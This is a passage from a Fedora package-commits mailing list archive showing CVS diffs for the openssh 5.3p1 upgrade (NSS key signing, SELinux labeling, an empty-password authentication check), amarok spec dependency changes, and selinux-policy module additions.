@@ -1299,6 +1329,17 @@ main(int argc, char **argv)
 			exit(0);
 		}
 	}
+
+	if (use_nss) {
+#ifdef HAVE_LIBNSS
+		if (download)
+			do_nss_download(pw, reader_id, identity_file);
+		else
+			fatal("no support for NSS key upload.");
+#else
+		fatal("no support for NSS keys.");
+#endif
+	}
 	if (reader_id != NULL) {
 #ifdef SMARTCARD
 		if (download)
diff -up openssh-5.3p1/ssh-rsa.c.nss-keys openssh-5.3p1/ssh-rsa.c
--- openssh-5.3p1/ssh-rsa.c.nss-keys	2006-09-01 07:38:37.000000000 +0200
+++ openssh-5.3p1/ssh-rsa.c	2009-10-02 14:09:01.000000000 +0200
@@ -32,6 +32,10 @@
 #include "compat.h"
 #include "ssh.h"
 
+#ifdef HAVE_LIBNSS
+#include <cryptohi.h>
+#endif
+
 static int openssh_RSA_verify(int, u_char *, u_int, u_char *, u_int, RSA *);
 
 /* RSASSA-PKCS1-v1_5 (PKCS #1 v2.0 signature) with SHA1 */
@@ -50,6 +54,38 @@ ssh_rsa_sign(const Key *key, u_char **si
 		error("ssh_rsa_sign: no RSA key");
 		return -1;
 	}
+
+	slen = RSA_size(key->rsa);
+	sig = xmalloc(slen);
+
+#ifdef HAVE_LIBNSS
+	if (key->flags & KEY_FLAG_NSS) {
+		SECItem sigitem;
+		SECOidTag alg;
+
+		memset(&sigitem, 0, sizeof(sigitem));
+		alg = (datafellows & SSH_BUG_RSASIGMD5) ?
+			SEC_OID_PKCS1_MD5_WITH_RSA_ENCRYPTION :
+			SEC_OID_PKCS1_SHA1_WITH_RSA_ENCRYPTION;
+
+		if (SEC_SignData(&sigitem, (u_char *)data, datalen, key->nss->privk,
+			alg) != SECSuccess) {
+			error("ssh_rsa_sign: sign failed");
+			return -1;
+		}
+		if (sigitem.len > slen) {
+			error("ssh_rsa_sign: slen %u slen2 %u", slen, sigitem.len);
+			xfree(sig);
+			SECITEM_ZfreeItem(&sigitem, PR_FALSE);
+			return -1;
+		}
+		if (sigitem.len < slen) {
+			memset(sig, 0, slen - sigitem.len);
+		}
+		memcpy(sig+slen-sigitem.len, sigitem.data, sigitem.len);
+		SECITEM_ZfreeItem(&sigitem, PR_FALSE);
+	} else {
+#endif
 	nid = (datafellows & SSH_BUG_RSASIGMD5) ? NID_md5 : NID_sha1;
 	if ((evp_md = EVP_get_digestbynid(nid)) == NULL) {
 		error("ssh_rsa_sign: EVP_get_digestbynid %d failed", nid);
@@ -59,9 +95,6 @@ ssh_rsa_sign(const Key *key, u_char **si
 	EVP_DigestUpdate(&md, data, datalen);
 	EVP_DigestFinal(&md, digest, &dlen);
 
-	slen = RSA_size(key->rsa);
-	sig = xmalloc(slen);
-
 	ok = RSA_sign(nid, digest, dlen, sig, &len, key->rsa);
 	memset(digest, 'd', sizeof(digest));
 
@@ -83,6 +116,9 @@ ssh_rsa_sign(const Key *key, u_char **si
 		xfree(sig);
 		return -1;
 	}
+#ifdef HAVE_LIBNSS
+	}
+#endif
 	/* encode signature */
 	buffer_init(&b);
 	buffer_put_cstring(&b, "ssh-rsa");

openssh-5.3p1-selabel.patch:
 Makefile.in         |    2 +-
 contrib/ssh-copy-id |    2 +-
 ssh.c               |   10 ++++++++--
 3 files changed, 10 insertions(+), 4 deletions(-)

--- NEW FILE openssh-5.3p1-selabel.patch ---
diff -up openssh-5.3p1/contrib/ssh-copy-id.selabel openssh-5.3p1/contrib/ssh-copy-id
--- openssh-5.3p1/contrib/ssh-copy-id.selabel	2009-01-21 10:29:21.000000000 +0100
+++ openssh-5.3p1/contrib/ssh-copy-id	2009-10-02 14:21:54.000000000 +0200
@@ -38,7 +38,7 @@ if [ "$#" -lt 1 ] || [ "$1" = "-h" ] || 
   exit 1
 fi
 
-{ eval "$GET_ID" ; } | ssh $1 "umask 077; test -d .ssh || mkdir .ssh ; cat >> .ssh/authorized_keys" || exit 1
+{ eval "$GET_ID" ; } | ssh $1 "umask 077; test -d .ssh || mkdir .ssh ; cat >> .ssh/authorized_keys; test -x /sbin/restorecon && /sbin/restorecon .ssh .ssh/authorized_keys" || exit 1
 
 cat <<EOF
 Now try logging into the machine, with "ssh '$1'", and check in:
diff -up openssh-5.3p1/Makefile.in.selabel openssh-5.3p1/Makefile.in
--- openssh-5.3p1/Makefile.in.selabel	2009-10-02 14:21:54.000000000 +0200
+++ openssh-5.3p1/Makefile.in	2009-10-02 14:23:23.000000000 +0200
@@ -136,7 +136,7 @@ libssh.a: $(LIBSSH_OBJS)
 	$(RANLIB) $@
 
 ssh$(EXEEXT): $(LIBCOMPAT) libssh.a $(SSHOBJS)
-	$(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck $(LIBS)
+	$(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck -lselinux $(LIBS)
 
 sshd$(EXEEXT): libssh.a	$(LIBCOMPAT) $(SSHDOBJS)
 	$(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat -lfipscheck $(SSHDLIBS) $(LIBS)
diff -up openssh-5.3p1/ssh.c.selabel openssh-5.3p1/ssh.c
--- openssh-5.3p1/ssh.c.selabel	2009-10-02 14:21:54.000000000 +0200
+++ openssh-5.3p1/ssh.c	2009-10-02 14:21:54.000000000 +0200
@@ -74,6 +74,7 @@
 #include <openssl/err.h>
 #include <openssl/fips.h>
 #include <fipscheck.h>
+#include <selinux/selinux.h>
 #include "openbsd-compat/openssl-compat.h"
 #include "openbsd-compat/sys-queue.h"
 
@@ -792,10 +793,15 @@ main(int ac, char **av)
 	 */
 	r = snprintf(buf, sizeof buf, "%s%s%s", pw->pw_dir,
 	    strcmp(pw->pw_dir, "/") ? "/" : "", _PATH_SSH_USER_DIR);
-	if (r > 0 && (size_t)r < sizeof(buf) && stat(buf, &st) < 0)
+	if (r > 0 && (size_t)r < sizeof(buf) && stat(buf, &st) < 0) {
+		char *scon;
+
+		matchpathcon(buf, 0700, &scon);
+		setfscreatecon(scon);
 		if (mkdir(buf, 0700) < 0)
 			error("Could not create directory '%.200s'.", buf);
-
+		setfscreatecon(NULL);
+	}
 	/* load options.identity_files */
 	load_public_identity_files();
 

openssh-5.3p1-skip-initial.patch:
 auth1.c      |    2 +-
 auth2-none.c |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE openssh-5.3p1-skip-initial.patch ---
diff -up openssh-5.3p1/auth1.c.skip-initial openssh-5.3p1/auth1.c
--- openssh-5.3p1/auth1.c.skip-initial	2009-03-08 01:40:28.000000000 +0100
+++ openssh-5.3p1/auth1.c	2009-10-02 13:55:00.000000000 +0200
@@ -244,7 +244,7 @@ do_authloop(Authctxt *authctxt)
 	    authctxt->valid ? "" : "invalid user ", authctxt->user);
 
 	/* If the user has no password, accept authentication immediately. */
-	if (options.password_authentication &&
+	if (options.permit_empty_passwd && options.password_authentication &&
 #ifdef KRB5
 	    (!options.kerberos_authentication || options.kerberos_or_local_passwd) &&
 #endif
diff -up openssh-5.3p1/auth2-none.c.skip-initial openssh-5.3p1/auth2-none.c
--- openssh-5.3p1/auth2-none.c.skip-initial	2009-03-08 01:40:28.000000000 +0100
+++ openssh-5.3p1/auth2-none.c	2009-10-02 13:56:21.000000000 +0200
@@ -61,7 +61,7 @@ userauth_none(Authctxt *authctxt)
 {
 	none_enabled = 0;
 	packet_check_eom();
-	if (options.password_authentication)
+	if (options.permit_empty_passwd && options.password_authentication)
 		return (PRIVSEP(auth_password(authctxt, "")));
 	return (0);
 }


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	10 Mar 2009 12:17:53 -0000	1.24
+++ .cvsignore	2 Oct 2009 13:17:06 -0000	1.25
@@ -1 +1 @@
-openssh-5.2p1-noacss.tar.bz2
+openssh-5.3p1.tar.gz


Index: openssh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/openssh.spec,v
retrieving revision 1.170
retrieving revision 1.171
diff -u -p -r1.170 -r1.171
--- openssh.spec	30 Sep 2009 06:43:43 -0000	1.170
+++ openssh.spec	2 Oct 2009 13:17:07 -0000	1.171
@@ -62,8 +62,8 @@
 
 Summary: An open source implementation of SSH protocol versions 1 and 2
 Name: openssh
-Version: 5.2p1
-Release: 29%{?dist}%{?rescue_rel}
+Version: 5.3p1
+Release: 1%{?dist}%{?rescue_rel}
 URL: http://www.openssh.com/portable.html
 #Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz
 #Source1: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz.asc
@@ -75,12 +75,10 @@ Source1: openssh-nukeacss.sh
 Source2: sshd.pam
 Source3: sshd.init
 Patch0: openssh-5.2p1-redhat.patch
-Patch2: openssh-5.1p1-skip-initial.patch
-Patch3: openssh-3.8.1p1-krb5-config.patch
+Patch2: openssh-5.3p1-skip-initial.patch
 Patch4: openssh-5.2p1-vendor.patch
 Patch12: openssh-5.2p1-selinux.patch
-Patch13: openssh-5.1p1-mls.patch
-Patch16: openssh-4.7p1-audit.patch
+Patch13: openssh-5.3p1-mls.patch
 Patch18: openssh-5.0p1-pam_selinux.patch
 Patch19: openssh-5.2p1-sesftp.patch
 Patch22: openssh-3.9p1-askpass-keep-above.patch
@@ -92,12 +90,11 @@ Patch38: openssh-4.3p2-askpass-grab-info
 Patch39: openssh-4.3p2-no-v6only.patch
 Patch44: openssh-5.2p1-allow-ip-opts.patch
 Patch49: openssh-4.3p2-gssapi-canohost.patch
-Patch51: openssh-5.2p1-nss-keys.patch
+Patch51: openssh-5.3p1-nss-keys.patch
 Patch55: openssh-5.1p1-cloexec.patch
 Patch62: openssh-5.1p1-scp-manpage.patch
-Patch65: openssh-5.2p1-fips.patch
-Patch68: openssh-5.2p1-pathmax.patch
-Patch69: openssh-5.2p1-selabel.patch
+Patch65: openssh-5.3p1-fips.patch
+Patch69: openssh-5.3p1-selabel.patch
 Patch71: openssh-5.2p1-edns.patch
 
 License: BSD
@@ -204,14 +201,12 @@ an X11 passphrase dialog for OpenSSH.
 %setup -q
 %patch0 -p1 -b .redhat
 %patch2 -p1 -b .skip-initial
-%patch3 -p1 -b .krb5-config
 %patch4 -p1 -b .vendor
 
 %if %{WITH_SELINUX}
 #SELinux
 %patch12 -p1 -b .selinux
 %patch13 -p1 -b .mls
-%patch16 -p1 -b .audit
 %patch18 -p1 -b .pam_selinux
 %patch19 -p1 -b .sesftp
 %endif
@@ -229,7 +224,6 @@ an X11 passphrase dialog for OpenSSH.
 %patch55 -p1 -b .cloexec
 %patch62 -p1 -b .manpage
 %patch65 -p1 -b .fips
-%patch68 -p1 -b .pathmax
 %patch69 -p1 -b .selabel
 %patch71 -p1 -b .edns
 
@@ -466,6 +460,9 @@ fi
 %endif
 
 %changelog
+* Fri Oct  2 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-1
+- Upgrade to new wersion 5.3p1
+
 * Tue Sep 29 2009 Jan F. Chadima <jchadima at redhat.com> - 5.2p1-29
 - Resolve locking in ssh-add (#491312)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	10 Mar 2009 12:21:29 -0000	1.24
+++ sources	2 Oct 2009 13:17:07 -0000	1.25
@@ -1 +1 @@
-41c61b5e2c2cddfd53897582b114ffe1  openssh-5.2p1-noacss.tar.bz2
+13563dbf61f36ca9a1e4254260131041  openssh-5.3p1.tar.gz


--- openssh-3.8.1p1-krb5-config.patch DELETED ---


--- openssh-4.7p1-audit.patch DELETED ---


--- openssh-5.1p1-mls.patch DELETED ---


--- openssh-5.1p1-skip-initial.patch DELETED ---


--- openssh-5.2p1-fips.patch DELETED ---


--- openssh-5.2p1-nss-keys.patch DELETED ---


--- openssh-5.2p1-selabel.patch DELETED ---



From rdieter at fedoraproject.org  Fri Oct  2 13:26:05 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 13:26:05 +0000 (UTC)
Subject: rpms/amarok/F-11 amarok.spec,1.152,1.153
Message-ID: <20091002132605.831B111C01EA@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2148/F-11

Modified Files:
	amarok.spec 
Log Message:
* Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
- Requires: kdebase-runtime (support for trash protocol needed)



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-11/amarok.spec,v
retrieving revision 1.152
retrieving revision 1.153
diff -u -p -r1.152 -r1.153
--- amarok.spec	30 Sep 2009 18:37:12 -0000	1.152
+++ amarok.spec	2 Oct 2009 13:26:05 -0000	1.153
@@ -2,7 +2,7 @@
 Name:    amarok
 Summary: Media player
 Version: 2.2.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 Group: 	 Applications/Multimedia
 License: GPLv2+
@@ -32,11 +32,15 @@ BuildRequires: soprano-devel
 BuildRequires: taglib-devel >= 1.6
 BuildRequires: taglib-extras-devel >= 1.0.0
 
-%global kdelibs4_version %((kde4-config --version 2>/dev/null || echo KDE 4.3.0) | grep '^KDE' | cut -d' ' -f2 | cut -d'-' -f1)
+%global kde4_version %((kde4-config --version 2>/dev/null || echo KDE 4.3.0) | grep '^KDE' | cut -d' ' -f2 | cut -d'-' -f1)
 BuildRequires: qtscriptbindings
 Requires: qtscriptbindings%{?_isa}
 Requires: %{name}-utils = %{version}-%{release}
 
+# for trash protocol support, phonon kcm, etc...
+# FIXME: should probably be handled lower in the stack
+Requires: kdebase-runtime >= %{kde4_version}
+
 # when we grew a -libs subpkg, multilib love
 Obsoletes: amarok < 2.1.80
 Requires: %{name}-libs%{?_isa} = %{version}-%{release}
@@ -166,6 +170,9 @@ fi
 
 
 %changelog
+* Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
+- Requires: kdebase-runtime (support for trash protocol needed)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-1
 - amarok-2.2.0
 



From rdieter at fedoraproject.org  Fri Oct  2 13:26:05 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 13:26:05 +0000 (UTC)
Subject: rpms/amarok/F-10 amarok.spec,1.148,1.149
Message-ID: <20091002132605.563FB11C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2148/F-10

Modified Files:
	amarok.spec 
Log Message:
* Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
- Requires: kdebase-runtime (support for trash protocol needed)



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-10/amarok.spec,v
retrieving revision 1.148
retrieving revision 1.149
diff -u -p -r1.148 -r1.149
--- amarok.spec	30 Sep 2009 18:40:45 -0000	1.148
+++ amarok.spec	2 Oct 2009 13:26:05 -0000	1.149
@@ -2,7 +2,7 @@
 Name:    amarok
 Summary: Media player
 Version: 2.2.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 Group: 	 Applications/Multimedia
 License: GPLv2+
@@ -32,11 +32,15 @@ BuildRequires: soprano-devel
 BuildRequires: taglib-devel >= 1.6
 BuildRequires: taglib-extras-devel >= 1.0.0
 
-%global kdelibs4_version %((kde4-config --version 2>/dev/null || echo KDE 4.3.0) | grep '^KDE' | cut -d' ' -f2 | cut -d'-' -f1)
+%global kde4_version %((kde4-config --version 2>/dev/null || echo KDE 4.3.0) | grep '^KDE' | cut -d' ' -f2 | cut -d'-' -f1)
 BuildRequires: qtscriptbindings
 Requires: qtscriptbindings%{?_isa}
 Requires: %{name}-utils = %{version}-%{release}
 
+# for trash protocol support, phonon kcm, etc...
+# FIXME: should probably be handled lower in the stack
+Requires: kdebase-runtime >= %{kde4_version}
+
 # when we grew a -libs subpkg, multilib love
 Obsoletes: amarok < 2.1.80
 Requires: %{name}-libs%{?_isa} = %{version}-%{release}
@@ -166,6 +170,9 @@ fi
 
 
 %changelog
+* Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
+- Requires: kdebase-runtime (support for trash protocol needed)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-1
 - amarok-2.2.0
 



From rdieter at fedoraproject.org  Fri Oct  2 13:26:05 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 13:26:05 +0000 (UTC)
Subject: rpms/amarok/F-12 amarok.spec,1.166,1.167
Message-ID: <20091002132605.BF65811C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2148/F-12

Modified Files:
	amarok.spec 
Log Message:
* Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
- Requires: kdebase-runtime (support for trash protocol needed)



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/F-12/amarok.spec,v
retrieving revision 1.166
retrieving revision 1.167
diff -u -p -r1.166 -r1.167
--- amarok.spec	29 Sep 2009 11:50:42 -0000	1.166
+++ amarok.spec	2 Oct 2009 13:26:05 -0000	1.167
@@ -2,7 +2,7 @@
 Name:    amarok
 Summary: Media player
 Version: 2.2.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 Group: 	 Applications/Multimedia
 License: GPLv2+
@@ -32,11 +32,15 @@ BuildRequires: soprano-devel
 BuildRequires: taglib-devel >= 1.6
 BuildRequires: taglib-extras-devel >= 1.0.0
 
-%global kdelibs4_version %((kde4-config --version 2>/dev/null || echo KDE 4.3.0) | grep '^KDE' | cut -d' ' -f2 | cut -d'-' -f1)
+%global kde4_version %((kde4-config --version 2>/dev/null || echo KDE 4.3.0) | grep '^KDE' | cut -d' ' -f2 | cut -d'-' -f1)
 BuildRequires: qtscriptbindings
 Requires: qtscriptbindings%{?_isa}
 Requires: %{name}-utils = %{version}-%{release}
 
+# for trash protocol support, phonon kcm, etc...
+# FIXME: should probably be handled lower in the stack
+Requires: kdebase-runtime >= %{kde4_version}
+
 # when we grew a -libs subpkg, multilib love
 Obsoletes: amarok < 2.1.80
 Requires: %{name}-libs%{?_isa} = %{version}-%{release}
@@ -166,6 +170,9 @@ fi
 
 
 %changelog
+* Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
+- Requires: kdebase-runtime (support for trash protocol needed)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-1
 - amarok-2.2.0
 



From rdieter at fedoraproject.org  Fri Oct  2 13:26:06 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 13:26:06 +0000 (UTC)
Subject: rpms/amarok/devel amarok.spec,1.166,1.167
Message-ID: <20091002132606.09E1711C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2148/devel

Modified Files:
	amarok.spec 
Log Message:
* Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
- Requires: kdebase-runtime (support for trash protocol needed)



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/devel/amarok.spec,v
retrieving revision 1.166
retrieving revision 1.167
diff -u -p -r1.166 -r1.167
--- amarok.spec	29 Sep 2009 11:50:02 -0000	1.166
+++ amarok.spec	2 Oct 2009 13:26:05 -0000	1.167
@@ -2,7 +2,7 @@
 Name:    amarok
 Summary: Media player
 Version: 2.2.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 
 Group: 	 Applications/Multimedia
 License: GPLv2+
@@ -32,11 +32,15 @@ BuildRequires: soprano-devel
 BuildRequires: taglib-devel >= 1.6
 BuildRequires: taglib-extras-devel >= 1.0.0
 
-%global kdelibs4_version %((kde4-config --version 2>/dev/null || echo KDE 4.3.0) | grep '^KDE' | cut -d' ' -f2 | cut -d'-' -f1)
+%global kde4_version %((kde4-config --version 2>/dev/null || echo KDE 4.3.0) | grep '^KDE' | cut -d' ' -f2 | cut -d'-' -f1)
 BuildRequires: qtscriptbindings
 Requires: qtscriptbindings%{?_isa}
 Requires: %{name}-utils = %{version}-%{release}
 
+# for trash protocol support, phonon kcm, etc...
+# FIXME: should probably be handled lower in the stack
+Requires: kdebase-runtime >= %{kde4_version}
+
 # when we grew a -libs subpkg, multilib love
 Obsoletes: amarok < 2.1.80
 Requires: %{name}-libs%{?_isa} = %{version}-%{release}
@@ -166,6 +170,9 @@ fi
 
 
 %changelog
+* Fri Oct 02 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-2
+- Requires: kdebase-runtime (support for trash protocol needed)
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> 2.2.0-1
 - amarok-2.2.0
 



From jfch2222 at fedoraproject.org  Fri Oct  2 13:30:35 2009
From: jfch2222 at fedoraproject.org (Jan F. Chadima)
Date: Fri,  2 Oct 2009 13:30:35 +0000 (UTC)
Subject: rpms/openssh/devel .cvsignore, 1.25, 1.26 openssh.spec, 1.171,
	1.172 sources, 1.25, 1.26
Message-ID: <20091002133035.E7BE911C0337@cvs1.fedora.phx.redhat.com>

Author: jfch2222

Update of /cvs/pkgs/rpms/openssh/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3364

Modified Files:
	.cvsignore openssh.spec sources 
Log Message:
Upgrade to new wersion 5.3p1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	2 Oct 2009 13:17:06 -0000	1.25
+++ .cvsignore	2 Oct 2009 13:30:35 -0000	1.26
@@ -1 +1 @@
-openssh-5.3p1.tar.gz
+openssh-5.3p1-noacss.tar.bz2


Index: openssh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/openssh.spec,v
retrieving revision 1.171
retrieving revision 1.172
diff -u -p -r1.171 -r1.172
--- openssh.spec	2 Oct 2009 13:17:07 -0000	1.171
+++ openssh.spec	2 Oct 2009 13:30:35 -0000	1.172
@@ -63,7 +63,7 @@
 Summary: An open source implementation of SSH protocol versions 1 and 2
 Name: openssh
 Version: 5.3p1
-Release: 1%{?dist}%{?rescue_rel}
+Release: 2%{?dist}%{?rescue_rel}
 URL: http://www.openssh.com/portable.html
 #Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz
 #Source1: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz.asc
@@ -460,7 +460,7 @@ fi
 %endif
 
 %changelog
-* Fri Oct  2 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-1
+* Fri Oct  2 2009 Jan F. Chadima <jchadima at redhat.com> - 5.3p1-2
 - Upgrade to new wersion 5.3p1
 
 * Tue Sep 29 2009 Jan F. Chadima <jchadima at redhat.com> - 5.2p1-29


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	2 Oct 2009 13:17:07 -0000	1.25
+++ sources	2 Oct 2009 13:30:35 -0000	1.26
@@ -1 +1 @@
-13563dbf61f36ca9a1e4254260131041  openssh-5.3p1.tar.gz
+89f85c1da83c24ca0b10c05344f7c93c  openssh-5.3p1-noacss.tar.bz2



From rdieter at fedoraproject.org  Fri Oct  2 13:35:08 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 13:35:08 +0000 (UTC)
Subject: rpms/amarok/devel amarok.spec,1.167,1.168
Message-ID: <20091002133508.306E711C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/amarok/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4440

Modified Files:
	amarok.spec 
Log Message:
fix macro usage (serves me right)



Index: amarok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/amarok/devel/amarok.spec,v
retrieving revision 1.167
retrieving revision 1.168
diff -u -p -r1.167 -r1.168
--- amarok.spec	2 Oct 2009 13:26:05 -0000	1.167
+++ amarok.spec	2 Oct 2009 13:35:07 -0000	1.168
@@ -61,7 +61,7 @@ Amarok is a multimedia player with:
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: %{name} = %{version}-%{release}
-%{?kdelibs4_version:Requires: kdelibs4%{?_isa} >= %{kdelibs4_version}}
+%{?kdelibs4_version:Requires: kdelibs4%{?_isa} >= %{kde4_version}}
 %{?_qt4_version:Requires: qt4%{?_isa} >= %{_qt4_version}}
 %description libs
 %{summary}.



From dwalsh at fedoraproject.org  Fri Oct  2 13:36:24 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri,  2 Oct 2009 13:36:24 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-minimum.conf, 1.36,
	1.37 modules-targeted.conf, 1.145, 1.146 policy-F12.patch, 1.98,
	1.99 selinux-policy.spec, 1.935, 1.936
Message-ID: <20091002133624.0CCC411C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4873

Modified Files:
	modules-minimum.conf modules-targeted.conf policy-F12.patch 
	selinux-policy.spec 
Log Message:
* Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-19
- Add labeling for /var/run/kdm



Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-minimum.conf,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- modules-minimum.conf	1 Oct 2009 13:45:07 -0000	1.36
+++ modules-minimum.conf	2 Oct 2009 13:36:22 -0000	1.37
@@ -39,6 +39,13 @@ ada = module
 # 
 cpufreqselector = module
 
+# Layer: apps
+# Module: chrome
+#
+# chrome sandbox
+# 
+chrome = module
+
 # Layer: modules
 # Module: awstats
 #


Index: modules-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-targeted.conf,v
retrieving revision 1.145
retrieving revision 1.146
diff -u -p -r1.145 -r1.146
--- modules-targeted.conf	1 Oct 2009 13:45:07 -0000	1.145
+++ modules-targeted.conf	2 Oct 2009 13:36:22 -0000	1.146
@@ -39,6 +39,13 @@ ada = module
 # 
 cpufreqselector = module
 
+# Layer: apps
+# Module: chrome
+#
+# chrome sandbox
+# 
+chrome = module
+
 # Layer: modules
 # Module: awstats
 #

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |    7 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.pp              |binary
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +-
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   16 
 policy/modules/admin/vpn.te               |    1 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   52 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  111 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
